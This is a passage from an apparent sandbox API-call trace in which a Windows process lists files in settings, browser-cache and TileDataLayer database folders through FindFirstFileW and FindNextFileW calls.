ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3fbcba67, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Users_EnrollmentFace.settingcontent-ms", cAlternateFileName="AA7497~1.SET")) returned 1 [0223.239] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe2e122, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3fe2e122, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Users_EnrollmentFingerprint.settingcontent-ms", cAlternateFileName="AA0705~1.SET")) returned 1 [0223.239] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4019b656, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4019b656, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x238ab028, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Users_EnrollmentIris.settingcontent-ms", cAlternateFileName="AAD756~1.SET")) returned 1 [0223.240] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4038b58c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4038b58c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Users_PicturePassword.settingcontent-ms", cAlternateFileName="AAB78A~1.SET")) returned 1 [0223.240] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x406862f4, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x406862f4, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Users_PINPassword.settingcontent-ms", cAlternateFileName="AA3171~1.SET")) returned 1 [0223.240] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b97255, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x40b97255, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Users_SingleSignOnAccountList.settingcontent-ms", cAlternateFileName="AA1454~1.SET")) returned 1 [0223.240] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40f9d241, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x40f9d241, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_VirtualDesktops_AltTabFilter.settingcontent-ms", cAlternateFileName="AA5D9F~1.SET")) returned 1 [0223.241] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4137d061, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4137d061, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x238f74d9, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_VirtualDesktops_TaskbarFilter.settingcontent-ms", cAlternateFileName="AA272F~1.SET")) returned 1 [0223.241] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4175cca7, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4175cca7, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Workplace_CorpDeviceManagement.settingcontent-ms", cAlternateFileName="AA0F9C~1.SET")) returned 1 [0223.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9ac10) returned 1 [0223.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9abd0) returned 1 [0223.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9ace0) returned 1 [0223.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9ac10) returned 1 [0223.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9abd0) returned 1 [0223.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0223.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0223.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0223.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0223.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0223.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0223.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0223.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9d3a0) returned 1 [0223.564] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temporary Internet Files", nBufferLength=0x105, lpBuffer=0x1dc9ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temporary Internet Files", lpFilePart=0x0) returned 0x3c [0223.564] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temporary Internet Files\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temporary internet files\\*"), lpFindFileData=0x1dc9d0b0 | out: lpFindFileData=0x1dc9d0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0223.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d340) returned 1 [0223.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9d3a0) returned 1 [0223.567] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer", nBufferLength=0x105, lpBuffer=0x1dc9ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer", lpFilePart=0x0) returned 0x31 [0223.567] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\*"), lpFindFileData=0x1dc9d0b0 | out: lpFindFileData=0x1dc9d0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40a64b1d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40a64b1d, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4c30 [0223.568] FindNextFileW (in: hFindFile=0x1d1f4c30, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40a64b1d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40a64b1d, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.568] FindNextFileW (in: hFindFile=0x1d1f4c30, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2c945d07, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x2c945d07, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database", cAlternateFileName="")) returned 1 [0223.568] FindNextFileW (in: hFindFile=0x1d1f4c30, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2c945d07, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x2c945d07, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database", cAlternateFileName="")) returned 0 [0223.568] FindClose (in: hFindFile=0x1d1f4c30 | out: hFindFile=0x1d1f4c30) returned 1 [0223.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d2d0) returned 1 [0223.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d290) returned 1 [0223.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9d3a0) returned 1 [0223.568] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer", nBufferLength=0x105, lpBuffer=0x1dc9ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer", lpFilePart=0x0) returned 0x31 [0223.568] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\*"), lpFindFileData=0x1dc9d0b0 | out: lpFindFileData=0x1dc9d0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40a64b1d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40a64b1d, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5410 [0223.569] FindNextFileW (in: hFindFile=0x1d1f5410, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40a64b1d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40a64b1d, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.569] FindNextFileW (in: hFindFile=0x1d1f5410, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2c945d07, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x2c945d07, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database", cAlternateFileName="")) returned 1 [0223.569] FindNextFileW (in: hFindFile=0x1d1f5410, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.569] FindClose (in: hFindFile=0x1d1f5410 | out: hFindFile=0x1d1f5410) returned 1 [0223.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d2d0) returned 1 [0223.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d290) returned 1 [0223.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0223.569] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database", lpFilePart=0x0) returned 0x3a [0223.570] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2c945d07, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x2c945d07, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5410 [0223.570] FindNextFileW (in: hFindFile=0x1d1f5410, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2c945d07, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x2c945d07, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.570] FindNextFileW (in: hFindFile=0x1d1f5410, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ab0ffe, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40ab0ffe, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xdce35e67, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDB.chk", cAlternateFileName="")) returned 1 [0223.570] FindNextFileW (in: hFindFile=0x1d1f5410, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x8db19be0, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x2e9e1668, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDB.log", cAlternateFileName="")) returned 1 [0223.571] FindNextFileW (in: hFindFile=0x1d1f5410, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40a64b1d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x2c9633f1, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDB00007.log", cAlternateFileName="")) returned 1 [0223.571] FindNextFileW (in: hFindFile=0x1d1f5410, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ab0ffe, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40ab0ffe, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40ab0ffe, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDBres00001.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0223.571] FindNextFileW (in: hFindFile=0x1d1f5410, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ab0ffe, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40ab0ffe, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40ab0ffe, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDBres00002.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0223.571] FindNextFileW (in: hFindFile=0x1d1f5410, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40a8cb5a, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xbe85c798, ftLastWriteTime.dwHighDateTime=0x1d85953, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDBtmp.log", cAlternateFileName="")) returned 1 [0223.571] FindNextFileW (in: hFindFile=0x1d1f5410, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b6fbaa, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40b6fbaa, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x29cc210b, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0xf0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vedatamodel.edb", cAlternateFileName="VEDATA~1.EDB")) returned 1 [0223.571] FindNextFileW (in: hFindFile=0x1d1f5410, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.571] FindClose (in: hFindFile=0x1d1f5410 | out: hFindFile=0x1d1f5410) returned 1 [0223.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0223.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0223.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0223.572] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database", lpFilePart=0x0) returned 0x3a [0223.572] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2c945d07, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x2c945d07, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f40f0 [0223.572] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2c945d07, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x2c945d07, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.572] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ab0ffe, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40ab0ffe, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xdce35e67, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDB.chk", cAlternateFileName="")) returned 1 [0223.573] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x8db19be0, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x2e9e1668, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDB.log", cAlternateFileName="")) returned 1 [0223.573] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40a64b1d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x2c9633f1, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDB00007.log", cAlternateFileName="")) returned 1 [0223.573] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ab0ffe, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40ab0ffe, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40ab0ffe, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDBres00001.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0223.573] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ab0ffe, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40ab0ffe, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40ab0ffe, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDBres00002.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0223.573] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40a8cb5a, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xbe85c798, ftLastWriteTime.dwHighDateTime=0x1d85953, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDBtmp.log", cAlternateFileName="")) returned 1 [0223.574] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b6fbaa, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40b6fbaa, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x29cc210b, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0xf0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vedatamodel.edb", cAlternateFileName="VEDATA~1.EDB")) returned 1 [0223.574] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b6fbaa, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40b6fbaa, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x29cc210b, 